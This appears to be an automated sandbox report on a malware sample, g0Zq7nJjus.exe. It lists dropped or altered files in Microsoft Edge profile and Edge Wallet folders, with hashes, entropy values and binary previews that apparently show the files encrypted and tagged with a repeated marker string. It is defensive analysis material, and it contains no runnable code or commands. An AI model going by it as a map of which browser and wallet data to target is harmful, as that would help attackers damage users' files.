Preview:	...#.3.p..... \|n...._:..8).n0.[4.~.F.}. .>w.......,..[JR.jW..........]....j.m..)..F....hzk...5.........CD.UpL.....8...o\+..[.. .H...[...T.g..CP+.(.A......]J$.qL.lU..PGX...\...*;1..#...s,<$.;..w.].#..h....f..,M.1.E..r@.Y.....'.;.4...H......X.....Z....(..Ub0se7.!@'.0........d...5.>..../X...1t/r...+mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	7.328740833776985
Encrypted:	false
SSDEEP:	6:qng67k4bkFgLXzhXfJcWS4VoZu5SRG5ZVFzP4C/Cm3AQrlHQjJnIS1WdNcii96Z:Yg67dkgLtRcWSKSRG57B0mdxqaSUdNcq
MD5:	3DF46AFE56FCD159F0A2FEDFEB2238DC
SHA1:	35EF0FF46160561AA09BB5BA39790F42CD0ACB8F
SHA-256:	416531D97DB366FBA297847C4C4850358D49FC39BCE85BE974CE605BD9172DEE
SHA-512:	6407D31903EFCABC5493AE2267CC1A7C1BC604956B58322D0A4A6F01276DFB237F5940C6FA1EE15836A2FB59F4186E96306DFF17406BCFA8CBDCDE9D227CE28E
Malicious:	false
Preview:	...n'.<-.......ec.o.s......^C~....w......J....4l.Gv1..h..R.9.............9f..@.-.:c.2dw..e.....W..N...cw. K....LE@...=.L.B1.d...)... ..Z..}........RY_S.LD...7$<..~...pY...RK.......c..(O.p...Pe.i.~..b.K...B%p..No.V...R............;f...wh$.q.....a1.dy.;D...S7......Q.nTPU...,.d,Y2.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	7.690001518734444
Encrypted:	false
SSDEEP:	12:k6ES9g1NGLG/Qs6lj3Vrmh7eixZVNRw9Wa3h5K5MVVSUdNcii9a:q1NGxh3Vqh7dVNRw9P3h5e92bD
MD5:	F921E94FE5F42580A09E3AB54AA831BA
SHA1:	B433C13BA8DA85A2E4117868CB95FB89D645F321
SHA-256:	696286B9FC2645633460DEF8351192EDC6ECBDF6ECB551BF0EC5585C9574C704
SHA-512:	8FD6AFDB6C21DA4E2D3E6FF6A6DD5B7CA0FBEE78AD859F6E185CF7C375A0FF9E377EA7A0DDBCEF8BE21FB285FC4B95E59615632BB509A771BE37E3D46B95DB2D
Malicious:	false
Preview:	2023/.$C_.\...6\%......~....~....0..Gj78. .!,.....;. .....p...#.x.[_.).[.U..q.H..".K.j....:..P.;...qw/...#n..F.7.XST..-Jg..NH.S....V8.v.BV...8E.i......8.../."@v..zXO&...3.J..8.XY.8!n...<Fo...(..f..E.......m.E...<.t.oa..W{..;o..u.........(..Z40....wg..A'x.N .G.h..`.V...$.M...^5..u%.v..A...I.CZ.G.J.6>.?............!....B.1p.?'<.m7@._..`...y.,.p...w.......f._+.}f...~...I..'s..Y)...........M.....+...R..@ne-FL..k+..W.Jh...../.q..'...v......7..2t8.^k...C...S..1@o..o.d(1...E>..z}.....K9..'(...^&.^...m.l....\|.5E.I.!.q.....]..Kn...".N.M..H%......uI.9e.X!)....MmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1116
Entropy (8bit):	7.839498372782178
Encrypted:	false
SSDEEP:	24:GaKHrIpQMyfNtC+o/q6SaouaLVtbaAkg2U3/VP2bD:lKHrIBkNU/qZVLVBaMz39sD
MD5:	06F45A01E2F9610FE909270AA4C9A360
SHA1:	5AE1A89C133367907514466AB7EFB3CF14975599
SHA-256:	F39783886997D71295E52850B580BD67255F49BB5D08299382CAD8B6A64FC2C2
SHA-512:	BAFC9052F3E9CF5CC152A2FD57AFC4F36E44EDC07691C4331E7DEFE39FD66625165882E4E607A8358631125A39628E0E9CA36238997636E68C60EA94931EB3AF
Malicious:	false
Preview:	.h.6.....K...^ ...7...9'Z..;x-6..G._J..!.r..w0G$R.9..y$.LgaxV;..hY.....&.Q91..YXb^..S.5kW.....2a.@@....kB..Sx].......Q..0...&.G.......,....C.5[..P...%.\|sj.G.LYP.\|I;...K...jdG...}.U....G..3.Y..3._..B.5...=.....U.^$g...D`X..F.H.Rq..../.d.L"8..0b....1..Z.......<....i.^L.o...$...x.k...;..\....z.88."..]k.6Q.....O....K.X.B...H`..`..^'..1.2.;......\|.W.F.QY..`L.4.l..d.a.....t."\|..&P/.0.(.'....ej....C`..r./k.0.@/..9?)...7.J...+.e{z.$8..m...hmy...ox.....nO......k..PbK.O/.~\H.../.....C.....I\|I.^..8..={.......[..#^..)....K...Q.L..M...a..R....b.....L...3I]..yFj..RY..:.`I.....k..:.[../.....+s.;.y.>....o..d..1..hQ>.2....<..., .V..O.@.,.V$?...W..}-m..%CD........v.....R]5..<Jn.%..X..c16..0.......&..l...s>..1Q.B...V.a.::.<....W:\.f.]t..UR-].'...d...p6JZ.raO..)......../4.?.6S.T.....}P.Vb.."../..<...w...5.,.(f.hL4Y....`..H.{x ..%....#..5SV.!9 \|.$%..Z-Wi...1.pg...T.....b)........P..n..!v!<.Q.v.7.E4X.<..\Df.M8...3K&+.&..I.P..6.ZZ.D.\|....?e.epF..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	680
Entropy (8bit):	7.69151309936941
Encrypted:	false
SSDEEP:	12:kOe/ZwCm0BYtk3BuBODpfbV9X0x0gbeMWk5NZ+z8bzUt9eWcPafNcqCWSUdNciik:gZVMOM8DpfZ9kjeMjNszIm9e8fGpV2bD
MD5:	71E4C6E5180C249DF2F5CF273EB18CF5
SHA1:	EAE2A83DC3EB727B6F1F028FD1B7174BB30F8126
SHA-256:	C745C6BC76F6C1F3F79821F96B438B7A849D64FF866016955643C72CB7A24185
SHA-512:	41E793EE8C858D908C3CFDC8C45B6FC64FE36E97646E3208F17073260FB38D8FD4537EDF3A1151531D4F34546D3890C536E8275CB5D074CC795B2C6DD542B983
Malicious:	false
Preview:	2023/....K.#...N..7...w.l/WOc..L..&X..`7G"...."..L.o.u.L..."..@..l.K#HP."I....(V.u..8g].....!~3...7..E...c.IozeV...Q.Z.....w.+]..[t=...J...)?.=J4u../...(KI.;(M......[<.$..&...9..~.@2g..r.m......9._x.1P..s.o.._.v.N8....f..+1..Ck-...9.~}..R.A.....D...OQX..B..S.Vv\|.?...h.%a.9K\|Z8...$ett1.n^..<U@..!k.R.....Ph.M45.PA..^..K.....5..=ToYm-h./k$.&.q....f......sw....]OHi............U...[.+..Jp6.....3."%3(.[M..kD....\...Y~mR..).>.4.~.HL....I....&.....$..3xl..s..(.F.....j..$....._2..".Lcq...}.5..V>i.....+..;.._~..V..".a.z..........`. ..(*.....C.....X.a.BT.Q=g.JX_.Si7...ZdI...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\mini-wallet.html

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.903193233930396
Encrypted:	false
SSDEEP:	48:hsbcSGQIgxZYbb20Ha73VjfEe8VumT3ynNRbo5mm5T2FYVMD:hstTIgUuAylwe81OnfemmRdC
MD5:	D73D25DE9F3217A035427AFAB7202CB2
SHA1:	E480CE239356E6C38CAFA00B6DF64AE28760AFE1
SHA-256:	9B9B59785D99806E4CBE6158D5C99CFBB70FA5A5465AD546EC20FAA9B2E42D9A
SHA-512:	5A2DE60D009AFE0EFF3F24114FFCC61C4384D79EB4A1D5FE2B430C9943CD8DB887A4142A513AD016A5EB5354FAACD84DED8623E70B1453DEF37469FA380EBA87
Malicious:	false
Preview:	<!doc.H.........F..c.$y...)"...8>..7..f..8.l...T2%.oox.@.tBoP.q....a.I..,Q...e.....2...~.d.kU..m.e....+.U...L.@......>_....Ue.g,..}.<..++T.,..EI....V......E..fj4"n.t'.........1....U..\|...3..q):..s.}.Y.n.Y.@........&.T2.`:..R..3Z-...H....mD.Wt......6.t....M].:.Wr~...Y.9I..YOa.9k.<../.&..(-A....g...M..d....p.4......vJ._.#....f.x..:.3..J.....d....C....L M}..i.b.\......'E&W..#.n..m#......./>...D.........n...9....E]...Y.3c..6bxr\.j.^...m....4..x...=......n.R..........y...\|..b.>.}.,.zk.z...f.6..Sn....Ke@..;.=.@:C...t.e..<Yi..[@..I.....w...t......l^.$.Q.^v..O tHS.I"5.%..e....h..B9....E."...`...h........R....I.CW..-E(........).!tNQ.v...n.u.\|..'...]...+xf@...pze.....{...x..N_"hE.....v..B.%..1wF......0.K....@1............'Z..J8...s..$"....<7.....]...LV...$.....0......X....$/.aq...30.HF.`....8..Qe.F.>.C........i.7*Ra..)...D[0...D..f.6.z\|.K.w.....TE.4..C....&M3U.pQ../........xq..p...R1.2....V.....3(e..qO.....m..A.p....+.T.of..vV..~.\..J....(.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	363249
Entropy (8bit):	7.122317412824852
Encrypted:	false
SSDEEP:	6144:jKh0e0epUgGbYq8oDxBN+A3MWf9FE5PdwGvPJvUcr2GLfc:jG0DgPJUBUA3M49OZqcrVLc
MD5:	DB2A4085E767A3341E709BF61C3E413B
SHA1:	504D06E820177E35B9CC34F619C638D527ADD790
SHA-256:	421ABBC55EFCB509CF9E6FAE8387A2409A727E8D91B6E1E5EFACD6D7EFA91FB1
SHA-512:	BA04C9D8CB1DA4475F58438353BD2A48AD195A2738F4A6C62034D815DDD6E143E3A348CD9A3A0B4A6FDFB81F2F8EBE1572F9DD7EF846CF52E3630B128A22C8F9
Malicious:	false
Preview:	/! F1t.=r....5.'.O.....UC..?B.p.....\>.F...T....b+5.~..` .+.z..jp...!.pPF..y.K...u_.....r.i..~Z).I"+Y....D.......q.iG........,owm.PK]4...U....i..b.?........e..)y.."E..2Zy..r]...)[...I8......#.#.....r.f.P...2....d..w.X.o3V&..Y)SWf.....6....g.4.....3.9#...k=.l...{..+{...:......?b....G.QG.k...\|k.~....1$.....)'aL9.[we.k......?a.._c..2....)PLv...BV.......B.".....q..C.[AQ.(...;.&....\...0...#....(..I........X9.&....a+.W..P.:.>.52.q...N.9.n<..2v...... ..c...."...@e.p.....NPQ~.v.\|..@4.c.Z..0.q.[>.....\./R.8.\|{u.!...L0j..R....D.{.}...d...._....m.ZH.9./...55.m..........$..q2;.[iV%.r...;K..)4...u-..........=.!-......\|.V..a\|....~.6U....'.qW29...I..5.}n.ds....../..We.b..l.r.X6y.y.X.una..\|..G...B....f.....3&t.qK...X..U...P...uf..i^.vL.r.z.....{._..E..Qr..>....@..F.K~....M.F..5.z\.(..DC... R...}.'.. ..,m..)!.N(7n.S.hr.v.31U...P9.H..$CR...W.e..>..5..n.Cq..!r..HG.6..>.A..V...9.O...@&.2q2PW..{j.\|...Jdf.Q.B.36......6. ..6%.zvf........`d.6.l.h..)..+d...mA.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.665679122210583
Encrypted:	false
SSDEEP:	12:UXciQNj2i0D15St1UctpMzD1I25C+nya06KJATuo7ZgYkSUdNcii9a:xiKZpakpMv1IRaLKKCotd2bD
MD5:	64BAC55AF76AFD827201CBAA9C9BFC65
SHA1:	21338E7C2B13229328987C3CA311686300E02105
SHA-256:	3DF053B866004E90D6CCE1635B6714D9A1FA83828CA9478E1EC5E971D20F39D6
SHA-512:	A4AAB27C02F391FAAB5E8C7F4B17A4B73C8D9CDD19B3E4893331CBE3B91B6AEE8A08C44A27F3B6CFAD17C791894E5F3FC251CAF872FF62C8622DDC08C08EFD01
Malicious:	false
Preview:	/.ob.g.V..S.....8$..n9I.^8....p.....+A.R.J.NF..E..I...&(.B )..).V.x%.%...8...`"i;0;k.na............(......e....=....[. Uq.....{...Z.y..G....[.Q....l.gI.%O.W.B....<&...U.s#.w~..VO.VZ}.k[xu.....&xl$...C,.m...I...J..z...x.`x......9.gg..\|o..F..@..7...V..p..;.~.....19j<.pCveOif?.{Z......Zhstc}.*....\|.L.OM...k..m.....?.......~...8h:..<.s.D.....I..~..z#J..P.....3.T.`...)Y..mEt5....C.Q..W........A..".._..P.g...#.....':...s.V......H.+...3.tX.z5-.Qj.tL.\|..f..T.+..8.B.....`...jV.Y..B.I..aKc.....{.J.!...&.r5..].l;.O...i&r.>.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1375
Entropy (8bit):	7.85086350048673
Encrypted:	false
SSDEEP:	24:9ovF0H1O7S6yip3zu6zg+7TgrcgQMsY8okW5saw9QcHviz+vZyCN8s633N+JB2bD:KN0VOG6yOu6r7TgeMsWQaILvvZyG6zD
MD5:	5EAEF704D297077F600B53EBB754DAAF
SHA1:	E493680164D19389DD20BBB26E55B4E220FD8A74
SHA-256:	092111CBB35B674DAC34FB5425A41A0F880E50329A163E152734A0105BB5C99A
SHA-512:	6EDA878D187CE2D8E417F3E368858B454DE9CA5A6BA446DD25146782439F33825D9ABF735F4660792E352E57DBFC6AE3BC41D5D3A6FCD499CF6689DE05AD58DF
Malicious:	false
Preview:	(()=>7.Xd,..N.tn.s.y.<....UQ....e.\\|..\.:....%....K.E..qy1..9.#.........1Z.Q....o.xc.<..i7.I.\|%_.. #.....qV..C..Q...8.k$.! .z.xH0.........\|.,o...V..l1N...(j.f...M...._...@..........4..+S...c..tR..l._h....{..7. ?MB....!0....;..0....<.m7./..\.\|+;.4Fl.Ybu.>q.......S...sBq.%..........vqu..%.Q]..d3.o....G.............t.....w2un6@.J.+..iJ........d0.3..m8Jk!)..>=...T......n{w....<.;..~.-..u\|.mHp.t..F(...mF..\.(..\`e.+...B.D.3.i.k}...0....$...s...o`..xR..\V.Ia)m.4,;.;q......t..O]......!..yd.-...BR../...'5..A.U.2..PR}.0.P...[...B..Z.........MB^.U..hY0..+.d........^.o<,I.Qc[.qe....33.Yk.Ke../q.8...q.+.W..y..u^.@.K&...$.e.L.O[..Gp_..P..........z..9..<-./p.7(..s....[.....%.R..^^I^.1...B...ES.z:..bR..p.j<.'...K.S\|".;..`.N.b?.....,..on:...q..W..l...9;..F..)...3.I.=.0-}.g,...$$B.3vc.%....n......Be.0D.RV..6.....O...1..AA....w._._X.;...."-.$H!z.~.>..v.m.X.J..`O.}yT..&.}....(.T..m.../...._....f.;@.g.@..K.5....S.H`=.Yw..Y.)>p.....g.u..l.j.X.@.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	493440
Entropy (8bit):	6.995196181238402
Encrypted:	false
SSDEEP:	12288:WiqJZbeBs4yh9WE1NVYFQ7Mjh5+kJSe3JZkJT3jucyEfQHe3JMqDcMrqyroUqmGl:TYeNW9WE1NVYFQ7Mjh5+kJSe3JZkJT3o
MD5:	AE412D32E244943372777C1377884999
SHA1:	3722A2AFA97A8E56F8879E2E0C72E3BA274096E2
SHA-256:	262A8701E227B432D969A2DC6B4BC073A6821E12DAC0B6D2E2FE68E0D3DC80BF
SHA-512:	38AA40F4C783DE415F104C0C12790737D6CCA08B10918225E4FCC910B75435BC7A7382AC79C04C578798EA1C03A16BE1FDD5AF832C06BFE2A4735672958EBD68
Malicious:	false
Preview:	/! F.l.V..%W.V%...6+.7.......X.0.....t.W.;.=l...U.....F...K...I..[..R...p.........R........E...y....._...@..K..s..,r.GY.p.9M.V..7 i.u.-.E..P?P.cD....K.f.....N..;!\|W(. ._.q.c.=. t.....6...Y.t.v.AB..B...p...LbC.....^z.....T...y....gqFE....X.7.......~.:...C.2_1...."...\.y... !7......^.P.\......_..._qL...v..t8C.. c.,.[...:.~...V..7]\|....(...~T.3r$.;..)..$$.4.U.-L.f.ix..`..).KA...."M:.......O".->..0o..U4.i...._...j...<.o.._..-20(......-.i..r....s...........c..J.Q....G...w.2.#QZ....2.WD..!.V..p...cR#..S.L..........L.......S..R$.9....)g.3C{......3....x5<. .....@s......+{N.....;...WF.`,..>.Rvd.......E.8z..0..?.p.Z..N..Xd...E.,.9R/5.?.g...=./k.#'T_...R....:2.t...g..]...^t8~"..u.Q..]....x.y9.9.U.;.L..":.BBN}...h5.v...HSV.S...Oj.9.=..Z.j.NDXF:....S.lV%.=`....0.h.S..I5n%H...T...u&...o.9l......]f...:..A .:b.:..{..4..l..Wj.;......".Ks~..Q=dh.....l...kX...f..IP.0......@.6.......M.3.K."t...`JO_..x..o..F....,.K<`....C..H[-.hc..F..zr.Z......el}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	7.859875694446839
Encrypted:	false
SSDEEP:	24:ujf/NXy/7oCqijp/B7mEhxUbwTZEGTY6kMe1joiV7ipLDeFhWNSt5r+Mq3Mit4Zt:cYojijVdZXTYQasiVOa3+8c4ZVD
MD5:	FEA325679D6B29C257000D2D5A2143FE
SHA1:	BD4A01200E8325ACFFDE425C7C6702D5ADA238CA
SHA-256:	9473E5FF692B52E1E1F8F24215829809DBD1F4C2A321D3B0A1DD58D9F989D07C
SHA-512:	18E76B4B8A1227CBC227FD0C8199397412DFC7A02D85461C74249ADE08D8E4BF43C8545F170BF1D5BCB3F66E83E5ED22558095336C1567C7B4FDAA8898C15B63
Malicious:	false
Preview:	/.ob.n....I..^.M...@.9X.%h..<.pHbQ......n.!&...-l.?U..N..tP`...`.......Oh..V...!>...[4...IQ.zs..=..F.H.i...9X......l.....>k...j_..%5.....E..L=...G..]B.B..h'.g..F....5:.1.[+...h...y7.}....e\...{.f.n.hj...3.)E...2i..4oF1..#.U...\|......v.v3...=..6.{o.f`...1..c..E...\...P.[......A........t].F.'q:....P........K......\....J...%.B.w.....;8N0F.T[T...1a......-..<..n....O.....s.-.G...~.2?....owO...4.....ky.$/..6^-`q.]......X...d\|Bk..R.g..........)a.rIk..N.N.u.N.qr....n....X.Z).I.....K......f1....m......0.'...MmE.{6L.%...r7_I..+.v.q\..D..2....."gU8...... 3yj....-......Y.P..........J....B>t...sf.\|...\|. R.%..t........o.1X\.o..WL.M....'.4z.s...S}....z...?....J./...............'.....C.e.o.....D..@Nm8....fz.g..L....NaG.......8J........ ..q.}...4wl.0.\.R.t../.<7...).2!. .m....+...5.M....S.S.N...^.. ...%.T.aMP(7..rKnE(8....O(.~~...9........ri...Y1........DEBs.K..{.s`.y.q>.M...5...{=.*_..}.HQ.R~.BW\|{.W....`......F.............zNW...(V.7e...!....x.gX\|

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.html

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	5239
Entropy (8bit):	7.968467509260214
Encrypted:	false
SSDEEP:	96:Q/NJhQUFi0i9YFiOUujjbZkYsAAD6VZqf4QtsDIgu2posQG/C5D6:Q/NbQNb24lqjbdADcZqf4WsDIg2sQG/R
MD5:	05022836BE08B7C94861260FBA9901DB
SHA1:	819E27841E20C4103D16E2474618DE8B0B3454E6
SHA-256:	444756F915FED93E4D0912B53DA7FB33F093760A8C75E9B1E11342C457B7325F
SHA-512:	1216F1DD0A2563348CB9EFBDFF8FCF8B18938BCB0DF7BD80C94396A043E46F65C66EDBD8FDC4B97BBC5173B3502DFAE20BC73ABB97A01EECFFF9DA8536264A01
Malicious:	false
Preview:	<!doc.......e....F-;S).7.x...K.Tx/.A.Q'....'K..iJ[%..9*....>..L.....[.....Q..M..YXo}..........8...E..}...=-./....4..@...I.....P.(...k].v..j....Q.U.>.NN{mK/..m.J/$..j.U.y.\|.d..D&R..U..._h.UU.>..l....45.CK._.o..F.s......U........#....p.}..N...`...+_.l..A...8-.o...W..IPG.?R..a....D..[.i.\.g.q:....^L.....q"..Qf:...cc]P./.....)...e....k.kNTK.#.Ux1..d.`..lj.<..u.....O..c/...]..j..+M.. .....PE..[.........,.4.....,....."..?<.....k$#.e.t..j..5........}....&.M..H.:G....~...Bo..t.^Rzsl.....D....W.z....3...v..f..\|-...N.....tet.;.....Ms>.t.7~k..\|../..l..'..\A/ve..H...I.Bl[(R4..6..&.08.J...m+.-....:s.!s...=.W0 n...k.y...%.YM.W..y.<.H9..>.dq.....g.P..ob..f.V.dVF.;..EO[.Y.~ZB4.(g.....f."...d.x..cd..@...E.BJ..X\|.z...O..S.#.Vq.".....#..F.,.X.;.t..\|.z.....Imq...F..6g<.7.xW..(..ar..E.....y...Go......c......i........TJ.2%..z.K...B.V/..8..8..c[...2.IyN.....n..cT.!..Xf...y+..j7..}kS. mq,o.8w....b ..~.}... .;Z...s...y2Urv....).x.,;A.)`m..........n...J..$FM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	330024
Entropy (8bit):	7.340006413287282
Encrypted:	false
SSDEEP:	6144:M9rEIr0Y2FYfyQRdpzGVwYNGnmEunyUuPzyqpDdDWBQBfMrE/qWbgo9AhTZQKZBK:4Nr0Y2Ofy+dpzGMmwU7qpgBQ9MrUqQ9d
MD5:	66A6453C739C1BC16393E70CD3B678B9
SHA1:	93090BC567C3152260EA929567682B29FD4A1058
SHA-256:	3C37ABA243F7AF202C6E34CD950D6A61EDB5A4CE18406A9ABA678040D12EF166
SHA-512:	A97789307B8B7DD39174E3B5B0570333B0A3E01D39D99C3D8FE6522E3860475FE5389639C7220B3975356CC01BAE1529E2069CC410AA92B5DC24F6D8FB1F70B2
Malicious:	false
Preview:	/! F.."g.s...Z0..v..O.u.6h.=...<...9..&Z9..p...Ig..Z....@9..a!.5.l..%.....(..E...../J...0......}.Lc....M.a.A.w.jS..c..d..2g...z....>V.3..M..9...g.............`..N.X,r.H.B5,.,.n.4c.c.!.z..vT......2%.o..Yi..4....,...<E]^%.......k.d........\|..s.5K....bk..O......'4.^...L..Bml...N.........jyi..>v....].R.{..'........r.....a..Hj...C."vH.q@.(.?m.,3K>.'D.....,..+.M....BpZ...c..Z....-Q.G.l.a9nA3W..L../b.Z.I.^..b..Y~...W....L.......IF...M..W+..0..\.......-n@..:.b...[2:.1Vp..8.....v...#..l.....)[.....f...~W....W$..s.wl.vt[0b.3..&_.[........K+.">..M..d..Ue.. .T..\|......F.Tx..g...i..+qy.v._.B}.;0....'.....u.6P..K.D....@\|.p...Y.).n~...Y.6.P ...b)x..j..j.....'..Z?.B......I6.)...;g..a...T.qLM..F.B.z..%.......Z....A8.9XR.v...pK.C.o6...]G...R...X......31E-..g8......BV~A.8.../.(..dL...O.3...^4E.}o..g..+.@x.).{...z.i?/a...R...[r...H.VXM.D]............3...F..g...h....\|7 .$i.b.F..=.*..@..B....:.4,....`..tIL.[.0..F..E.5.....S.M.v.D.......#v.....s).....!

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.629661861554175
Encrypted:	false
SSDEEP:	12:UEsPiQenJ5p3iToBLFtCdX3KBn3BFRzRIplA8Vrixo8EP9+VtFyQLKASSUdNciik:3s4J5pKoBL0a3ByPA8VrWSEfFyUKO2bD
MD5:	6BF3CE69DE41A19DB1E14FB5019884D8
SHA1:	FFF22D781B0E05856C1AC0A8C69C174A3213D9E6
SHA-256:	C69DBEA98E34DAFE79BAFD45885E8F05120632821FB70E90B09F7ABF880E81EF
SHA-512:	5DD8A6E02F4EC077C7877653B3DB9A5CC1C62D88E7B91FFB4E3D480015CFE7E8D5C19D4438268B974C9A33349E527518154D81EA58F8B89B7C74A3D3683511C4
Malicious:	false
Preview:	/*.ob..E....j......Lg-"e....g.w......~....L[. VY{!(.j......(...a.......X&.{.5...=..Bb.5...a...Y..MUM....P...fR.o...x......=)6^.z.>3+..a.W..Z(.gh+.......m...W.......7.2:..+...0(.j.j..dQ7Ufp.e....p...N....a.T\|.5.u@...!O.\....n.2.^&j.cg....G^nv....p....q9....7..:@..\A...._Z..H.VNO.....j...Dm.apR.j...\|...jJ.?x......ho..,>\O.V...sn.-..-{`e..S......2..o..Ym?B...=..m.X__.S......+..F..s....O.(.+.I..09.a)'}k..W~........Q.d.%G.x6..h..[..F,.-b.c.\..6.AD....O'.W{@G./..Ur."W6..i..7.....f....7]t.zIg08........9 ."..>.).1c'...W!.IK.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.html

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1890
Entropy (8bit):	7.889040924800162
Encrypted:	false
SSDEEP:	48:/ZCShuEpM9aNKyXMlav04CkefBp/ZVlsPeH7pcPW2nn2D:/ZCSgEAaUUMlavkkefBp/ZJFce2nu
MD5:	E3CBFD57C04F00B6247E4C3289EF1338
SHA1:	E6BF5918CDCD6227C50D2D99B7B9FE0BF41CE018
SHA-256:	FEC5961274020E27AED4F877CB1D03178F45175E2B7590B52A663488250166AD
SHA-512:	815118A38D679BED5C4BA2A3FAA931652792CB17B0527CAC426267F66EDA144CC661C99B089A70AEDFB81B7FBC42C31D69050A3457366B781EB602BA0E1A4722
Malicious:	false
Preview:	<!doco;..R..`.........t. ._....d.t.'..%.r..m.~J..[..h.....l.z.Z..n.X.D.3.......4..v.+.. ....x......G<k....>....?..U..$...[.^..........S..h.v..{\|d\|f!.(>J..Dz^.#\|... ..?/U..}L`.j..s..B...3V..G.<.R.O{. .Im..u..JO...lT...x...#..G..h.S..D.z/...sj..h..d..U............`.OM:=..v...~/.nZ..<0BC.8./..$$0j..:-.u...=.D..J-.{c....p3...S......=[C.<.Le...~....&.M].....IQ.\|H]..,y.cKH....M....)......M\nYqi....N.H.C.t.........{....../a.0.K....(..N..x./....A..'...5...7P...GP..C.hk....L...$.f.Q.E@,...(.U.k6.......c......Bh....L..../#H...$Z....Q,{....8...~.....?..q.\&....3...J..U..K.!....W(x!.h.x}.......):I..Z.[..{..(....0l..!...Z.~d..Eh........R.....=l..F..'.....W...Z..L...6.0&.......n>...4.C._.....0w.....2..f........q.eI................h..]H...tm..L...>.:...[.....)...[..P$J..L./W.[6....gT...R..iv...H..._I4sxC.I.7..O.a..0b......d....fB8,....oBd..M.M{c.I.M.3Am.)..a.<.&C..[.....8.=a!..,q..._s)2..7..A<B.I...'.....89P.y..#>.D.......Z\.......tM.6.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	552583
Entropy (8bit):	6.783928444610169
Encrypted:	false
SSDEEP:	12288:0taxm16CGrYJJ2Qsvx7N+skLnBYFQPMjh5OkJSe3J9OkJT+jucyBfQHe3JbwrQKO:0tOkDdsvx7N+skLnBYFQPMjh5OkJSe3f
MD5:	8B11E26E2B4472CCB7E4D9AAA4E1E892
SHA1:	E364C4E485D65CAEF22A159916327DF9BF60D892
SHA-256:	B0ED4FF0C7637742C482A5E479B837459CE49E55601E6E44C17E8D204B1F6DBB
SHA-512:	53022ED4B83B39785401F67CAFA7CE3ED8BAD1B4E76DE4604548A8B29288175462A87B746228A63C2CB0ED95D9F5A030D00C2F453306A6F165DAED69F17B89D1
Malicious:	false
